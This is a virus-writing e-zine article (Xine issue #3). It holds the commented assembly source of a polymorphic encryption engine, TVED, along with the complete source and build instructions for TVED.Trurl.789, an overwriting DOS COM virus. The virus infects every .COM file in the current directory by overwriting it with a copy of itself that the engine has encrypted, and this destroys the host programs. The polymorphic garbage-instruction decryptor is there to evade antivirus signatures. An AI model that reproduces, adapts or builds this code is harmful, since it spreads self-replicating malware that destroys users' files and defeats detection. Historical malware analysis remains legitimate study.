/-----------------------------\ | Xine - issue #3 - Phile 309 | \-----------------------------/ comment * Trurl Variable Encryption Device v 1.00 [TVED] Disassembly by Darkman/29A Calling parameters: CX Length of plain code SI Decryptor's offset DS:DX Pointer to plain code ES:DI Pointer to decryptor + encrypted code Return parameters: CX Length of decryptor + encrypted code Garbage instructions: NOP; PUSH AX POP AX; MOV AX,AX; XCHG BX,BX; JMP imm8; JMP imm16; ROL AX,CL ROR AX,CL; RCL AX,CL RCR AX,CL Count register AX; CX; DX; BX; SI; DI Index register: BX; SI; DI Register holding decryption key: AL; CL; DL; BL; AH; CH; DH; BH; AX; CX; DX; BX; SI; DI TVED decryptor: One to four garbage instruction(s). PUSH DS One to four garbage instruction(s). PUSH CS One to four garbage instruction(s). POP DS One to four garbage instruction(s). MOV reg16,imm16 (Count register, length of encrypted code) One to four garbage instruction(s). MOV reg16,imm16 (Index register, offset of encrypted code) One to four garbage instruction(s). MOV reg,imm; (NOP) (Register holding decryption key, decryption key) One to four garbage instruction(s). XOR [reg16],reg One to four garbage instruction(s). INC reg16 (Increase index register) One to four garbage instruction(s). INC reg16; (NOP) ( " " " ) One to four garbage instruction(s). DEC reg16 (Decrease count register) One to four garbage instruction(s). JNZ imm8 (Offset of XOR [reg16],reg) One to four garbage instruction(s). POP DS Min. decryptor size: 32 bytes. Max. decryptor size: 68 bytes. Trurl Variable Encryption Device v 1.00 [TVED] size: 684 bytes. * tved_begin equ $ ; Beginning of Trurl Variable Encr... get_rnd_reg proc near ; Get random register push ax ; Save AX at stack get_rnd_reg_: call get_rnd_num cmp dl,00000101b ; Base pointer? je get_rnd_reg_ ; Equal? Jump to get_rnd_reg_ cmp dl,00000100b ; Stack pointer? je get_rnd_reg_ ; Equal? Jump to get_rnd_reg_ pop ax ; Load AX from stack ret ; Return! endp get_rnd_num proc ; Get random number within seven push ax ; Save AX at stack in al,40h ; AL = 8-bit random number and al,00000111b ; AL = random number within seven xor dx,dx ; Zero DX mov dl,al ; DX = random number within seven pop ax ; Load AX from stack ret ; Return! endp tved_poly proc near ; Trurl Variable Encryption Device... push ax ; Save AX at stack pusha ; Save all registers at stack push ds es ; Save segments at stack push cs ; Save CS at stack pop ds ; Load DS from stack (CS) call delta_offse_ delta_offse_: pop bx ; Load BX from stack sub bx,24h ; BX = delta offset push es di si cx ; Save registers at stack push cs ; Save CS at stack pop es ; Load ES from stack (CS) mov si,(offset orig_decrypt-offset tved_begin) mov di,(offset poly_decrypt-offset tved_begin) add si,bx ; Add delta offset to offset of or... add di,bx ; Add delta offset to offset of po... mov cx,(orig_end-orig_begin) rep movsb ; Move original decryptor to polym... pop cx si di es ; Load registers from stack mov [bx+(offset delta_off-offset tved_begin)],bx mov [bx+(offset encrypt_len-offset tved_begin)],cx mov [bx+(offset encrypt_off-offset tved_begin)],si mov [bx+(offset decrypt_off-offset tved_begin)],di mov [bx+(offset plain_len-offset tved_begin)],cx mov [bx+(offset plain_off-offset tved_begin)],dx in al,40h ; AL = encryption/decryption key mov [bx+(offset encrypt_key-offset tved_begin)],al mov [bx+(offset decrypt_key-offset tved_begin)],al push bx ; Save BX at stack call gen_decrypt call gen_garbage pop bx ; Load BX from stack pop es ds ; Load segments from stack mov cx,[bx+(offset plain_len-offset tved_begin)] mov si,[bx+(offset plain_off-offset tved_begin)] mov di,[bx+(offset decrypt_off-offset tved_begin)] add di,[bx+(offset decrypt_len-offset tved_begin)] rep movsb ; Move plain code above decryptor mov ah,[bx+(offset encrypt_key-offset tved_begin)] mov cx,[bx+(offset plain_len-offset tved_begin)] mov di,[bx+(offset decrypt_off-offset tved_begin)] add di,[bx+(offset decrypt_len-offset tved_begin)] encrypt_loop: xor [di],ah ; Encrypt a byte of plain code inc di ; Increase index register loop encrypt_loop mov cx,cs:[bx+(offset decrypt_len-offset tved_begin)] mov bp,sp ; BP = stack pointer mov [bp+10h],cx ; CX = length of decryptor popa ; Load all registers from stack pop cx ; Load CX from stack ret ; Return! endp gen_decrypt proc near ; Generate decryptor mov si,bx ; SI = delta offset call get_rnd_reg mov al,dl ; AL = count register get_idx_reg: call get_rnd_reg cmp dl,al ; Count register equal to index r...? je get_idx_reg ; Equal? Jump to get_idx_reg cmp dl,00000011b ; Base register? je base_reg ; Equal? Jump to base_reg cmp dl,00000110b ; Source index? je source_idx ; Equal? Jump to source_idx cmp dl,00000111b ; Destination index? je destinat_idx ; Equal? Jump to destinat_idx jmp get_idx_reg base_reg: mov ah,dl ; AH = index register number mov bl,00000111b ; BL = " " jmp get_key_size source_idx: mov ah,dl ; AH = index register number mov bl,00000100b ; BL = " " jmp get_key_size destinat_idx: mov ah,dl ; AH = index register number mov bl,00000101b ; BL = " " get_key_size: call get_rnd_num and dl,00000001b ; DL = random number within one mov bh,dl ; BH = size of encryption/decrypti... or bh,bh ; 8-bit encryption/decryption key? jz get_key_r8 ; Zero? Jump to get_key_r8 get_key_r16: call get_rnd_reg cmp dl,al ; Count register equal to registe...? je get_key_r16 ; Equal? Jump to get_key_r16 cmp dl,ah ; Index register number equal to ...? je get_key_r16 ; Equal? Jump to get_key_r16 mov cl,dl ; CL = register holding decryption... jmp gen_decrypt_ get_key_r8: call get_rnd_num mov dh,dl ; DH = register holding decryption... and dh,00000011b ; DH = random number within three cmp dh,al ; Count register equal to registe...? je get_key_r8 ; Equal? Jump to get_key_r8 cmp dh,ah ; Index register number equal to ...? je get_key_r8 ; Equal? Jump to get_key_r8 mov cl,dl ; CL = register holding decryption... gen_decrypt_: or [si+(offset mov_r16_i16-offset tved_begin)],al or [si+(offset dec_reg16-offset tved_begin)],al or [si+(offset mov_idx_reg-offset tved_begin)],ah or [si+(offset inc_idx_reg-offset tved_begin)],ah or [si+(offset xor_idx_reg-offset tved_begin)],bl or [si+(offset xor_key_reg-offset tved_begin)],bh shl bh,01h ; Shift left size of encryption/de... shl bh,01h ; " " " " " shl bh,01h ; " " " " " or [si+(offset mov_reg_key-offset tved_begin)],bh or [si+(offset mov_reg_key-offset tved_begin)],cl shl cl,01h ; Shift left register holding decr... shl cl,01h ; " " " " " shl cl,01h ; " " " " " or [si+(offset xor_idx_reg-offset tved_begin)],cl or bh,bh ; 8-bit encryption/decryption key? jz gen_exit ; Zero? Jump to gen_exit mov dl,[si+(offset decrypt_key-offset tved_begin)] mov [si+(offset decrypt_key_-offset tved_begin)],dl mov dx,[si+(offset encrypt_len-offset tved_begin)] inc dx ; Increase length of plain code shr dx,01h ; Divide length of plain code by two mov [si+(offset encrypt_len-offset tved_begin)],dx mov byte ptr [si+(offset inc_idx_reg_-offset tved_begin)],01000000b or [si+(offset inc_idx_reg_-offset tved_begin)],ah gen_exit: ret ; Return! endp gen_garbage proc near ; Generate garbage mov bp,sp ; BP = stack pointer cli ; Clear interrupt-enable flag xor bx,bx ; Zero BX mov bx,[bp+2] ; BX = delta offset add bx,(offset poly_decrypt-offset tved_begin) mov si,bx ; SI = offset of poly_decrypt xor ax,ax ; Zero AX test_offset: cld ; Clear direction flag mov bx,[bp+02h] ; BX = delta offset add bx,(offset poly_end-offset tved_begin) cmp si,bx ; End of polymorphic decryptor? je store_imm8 ; Equal? Jump to store_imm8 push si ; Save SI at stack mov si,[bp+02h] ; SI = delta offset mov bx,ax ; BX = offset within polymorphic d... shl bx,01h ; Multiply offset within polymorph... mov dx,[bx+si+(offset poly_off_tbl-offset tved_begin)] add dx,[bp+02h] ; Add delta offset to offset of ne... pop si ; Load SI from stack cmp si,dx ; Current offset within polymorph...? jne move_decrypt ; Not equal? Jump to move_decrypt push si ax ; Save registers at stack xor cx,cx ; Zero CX call get_rnd_num and dl,00000011b ; DL = random number within three inc dl ; DL = " " " four mov cl,dl ; CL = " " " " gen_garbage_: push cx ; Save CX at stack call get_rnd_num xor bx,bx ; Zero BX mov bl,dl ; BL = random number within seven shl bl,01h ; Multiply random number within se... mov si,[bp+02h] ; SI = delta offset mov si,[bx+si+(offset garb_off_tbl-offset tved_begin)] add si,[bp+02h] ; Add delta offset to offset withi... xor cx,cx ; Zero CX mov cl,[si] ; CL = size of garbage instruction inc si ; SI = offset of garbage instruction rep movsb ; Move garbage opcode to decryptor... pop cx ; Load CX from stack loop gen_garbage_ pop ax ; Load AX from stack inc ax ; Increase AX pop si ; Load SI from stack call exam_offset move_decrypt: mov bl,[si] ; BL = byte of decryptor mov [di],bl ; Store byte of decryptor inc di ; Increase DI inc si ; Increase SI jmp test_offset store_imm8: sti ; Store interrupt-enable flag mov si,[bp+02h] ; SI = delta offset mov ax,[si+(offset xor_reg_off-offset tved_begin)] mov bx,[si+(offset jnz_imm8_off-offset tved_begin)] add bx,02h ; Add size of opcode to offset of ... sub ax,bx ; Subtract offset of JNZ imm8 from... mov [bx-01h],al ; Store 8-bit immediate sub di,[si+(offset decrypt_off-offset tved_begin)] mov [si+(offset decrypt_len-offset tved_begin)],di mov bx,[si+(offset mov_idx_off-offset tved_begin)] add [bx+01h],di ; Store length of decryptor ret ; Return! endp exam_offset proc near ; Examine offset within polymorphi... mov bx,(offset mov_idx_reg-offset tved_begin) add bx,[bp+02h] ; Add delta offset to offset of mo... cmp si,bx ; Offset of MOV reg16,imm16? je sto_mov_off ; Equal? Jump to sto_mov_off mov bx,(offset xor_key_reg-offset tved_begin) add bx,[bp+02h] ; Add delta offset to offset of xo... cmp si,bx ; Offset of XOR [reg16],imm8/imm16? je sto_xor_off ; Equal? Jump to sto_xor_off mov bx,(offset jnz_imm8-offset tved_begin) add bx,[bp+02h] ; Add delta offset to offset of jn... cmp si,bx ; Offset of JNZ imm8? je sto_jnz_off ; Equal? Jump to sto_jnz_off ret ; Return! sto_mov_off: push si ; Save SI at stack mov si,[bp+02h] ; SI = delta offset mov [si+(offset mov_idx_off-offset tved_begin)],di pop si ; Load SI from stack ret ; Return! sto_xor_off: push si ; Save SI at stack mov si,[bp+02h] ; SI = delta offset mov [si+(offset xor_reg_off-offset tved_begin)],di pop si ; Load SI from stack ret ; Return! sto_jnz_off: push si ; Save SI at stack mov si,[bp+02h] ; SI = delta offset mov [si+(offset jnz_imm8_off-offset tved_begin)],di pop si ; Load SI from stack ret ; Return! endp poly_decrypt proc near ; Polymorphic decryptor poly_begin: push ds ; Save DS at stack push_cs equ $ ; Offset of PUSH CS push cs ; Save CS at stack pop_ds equ $ ; Offset of POP DS pop ds ; Load DS from stack (CS) mov_r16_i16 equ byte ptr $ ; Count register encrypt_len equ word ptr $+01h ; Length of encrypted code mov ax,201h ; AX = length of encrypted code mov_idx_reg equ byte ptr $ ; Index register encrypt_off equ word ptr $+01h ; Offset of encrypted code mov ax,800h ; AX = offset of encrypted code mov_reg_key equ byte ptr $ ; Register holding decryption key decrypt_key equ byte ptr $+01h ; 8-bit decryption key decrypt_key_ equ byte ptr $+02h ; 16-bit decryption key mov al,0edh ; AL = decryption key nop poly_loop: xor_key_reg equ byte ptr $ ; Register holding decryption key xor_idx_reg equ byte ptr $+01h ; Index register xor [bx+si],al ; Decrypt a byte of encrypted code inc_idx_reg equ byte ptr $ ; Index register inc_idx_reg_ equ byte ptr $+01h ; Index register (16-bit decrypti...) inc ax ; Increase index register nop dec_reg16 equ byte ptr $ ; Count register dec ax ; Decrease count register jnz_imm8 equ $ ; Offset of JNZ imm8 jnz poly_loop ; Not zero? Jump to poly_loop pop_ds_ equ $ ; Offset of POP DS pop ds ; Load DS from stack poly_end: endp db 'TVED 1.0 By Trurl' ; Name and author of the engine delta_off dw ? ; Delta offset decrypt_off dw ? ; Offset of decryptor + encrypted ... plain_len dw ? ; Length of plain code plain_off dw ? ; Offset of plain code decrypt_len dw ? ; Length of decryptor encrypt_key db ? ; Encryption key xor_reg_off dw ? ; Offset of XOR [reg16],reg8/reg16 jnz_imm8_off dw ? ; Offset of JNZ imm8 mov_idx_off dw ? ; Offset of MOV reg16,imm16 poly_off_tbl dw (offset poly_decrypt-offset tved_begin) dw (offset push_cs-offset tved_begin) dw (offset pop_ds-offset tved_begin) dw (offset mov_r16_i16-offset tved_begin) dw (offset mov_idx_reg-offset tved_begin) dw (offset mov_reg_key-offset tved_begin) dw (offset xor_key_reg-offset tved_begin) dw (offset inc_idx_reg-offset tved_begin) dw (offset inc_idx_reg_-offset tved_begin) dw (offset dec_reg16-offset tved_begin) dw (offset jnz_imm8-offset tved_begin) dw (offset pop_ds_-offset tved_begin) garb_off_tbl dw (offset nop_-offset tved_begin) dw (offset push_pop_ax-offset tved_begin) dw (offset mov_ax_ax-offset tved_begin) dw (offset xchg_bx_bx-offset tved_begin) dw (offset jmp_imm8-offset tved_begin) dw (offset jmp_imm16-offset tved_begin) dw (offset rol_ror_ax-offset tved_begin) dw (offset rcl_rcr_ax-offset tved_begin) nop_ db 01h ; One byte garbage instruction db 10010000b ; NOP (opcode 90h) push_pop_ax db 02h ; Two bytes garbage instruction db 01010000b,01011000b ; PUSH AX; POP AX (opcode 50h,58h) mov_ax_ax db 02h ; Two bytes garbage instruction dw 1100000010001011b ; MOV AX,AX (opcode 8bh,0c0h) xchg_bx_bx db 02h ; Two bytes garbage instruction dw 1101101110000111b ; XCHG BX,BX (opcode 87h,0dbh) jmp_imm8 db 02h ; Two bytes garbage instruction db 11101011b,00000000b ; JMP imm8 (opcode 0ebh,00h) jmp_imm16 db 03h ; Three bytes garbage instruction db 11101001b,00000000b,00000000b rol_ror_ax db 04h ; Four bytes garbage instruction dw 1100000011010011b,1100100011010011b rcl_rcr_ax db 04h ; Four bytes garbage instruction dw 1101000011010011b,1101100011010011b shl_shr_ax db 04h ; Four bytes garbage instruction dw 1110000011010011b,1110100011010011b orig_decrypt proc near ; Original decryptor orig_begin: push ds ; Save DS at stack push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ax,201h ; AX = length of encrypted code mov ax,800h ; AX = offset of encrypted code mov al,0edh ; AL = decryption key nop orig_loop: xor [bx+si],al ; Decrypt a byte of encrypted code inc ax ; Increase index register nop dec ax ; Decrease count register jnz orig_loop ; Not zero? Jump to orig_loop pop ds ; Load DS from stack orig_end: endp tved_end equ $ ; End of Trurl Variable Encryption ... tved_size equ $-tved_begin ; Size of Trurl Variable Encryption... ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ comment * TVED.Trurl.789 Disassembly by Darkman/29A TVED.Trurl.789 is a 789 bytes overwriting direct action COM virus. Infects every file in current directory, when executed. TVED.Trurl.789 is polymorphic in file using Trurl Variable Encryption Device v 1.00 [TVED]. To compile TVED.Trurl.789 with Turbo Assembler v 4.0 type: TASM /M TVED_789.ASM TLINK /x /t TVED_789.OBJ * .model tiny .code .186 org 100h ; Origin of TVED.Trurl.789 code_begin: call delta_offset delta_offset: pop si ; Load SI from stack sub si,03h ; SI = delta offset mov ah,4eh ; Find first matching file (DTA) mov cl,00100000b ; CL = file attribute mask lea dx,file_specifi-100h add dx,si ; Add delta offset to offset of fi... int 21h open_file: mov dx,9eh ; DX = offset of filename mov ax,3d01h ; Open file (write) int 21h push si ; Save SI at stack mov dx,si ; DX = offset of plain code mov cx,(tved_end-code_begin) lea di,tved_end-100h ; DI = offset of decryptor + encry... add di,si ; Add delta offset to offset of de... mov si,100h ; SI = decryptor's offset call tved_poly add cx,(tved_end-code_begin) pop si ; Load SI from stack mov bx,ax ; BX = file handle lea dx,tved_end-100h ; DX = offset of decryptor + encry... add dx,si ; Add delta offset to offset of de... mov ah,40h ; Write to file int 21h mov ah,3eh ; Close file int 21h mov ah,4fh ; Find next matching file int 21h jnc open_file ; No error? Jump to open_file int 20h ; Terminate program! file_specifi db '*.COM',00h ; File specification db 'Bonsembiante Virus, By Trurl' include tved.asm ; Include Trurl Variable Encryptio... code_end: end code_begin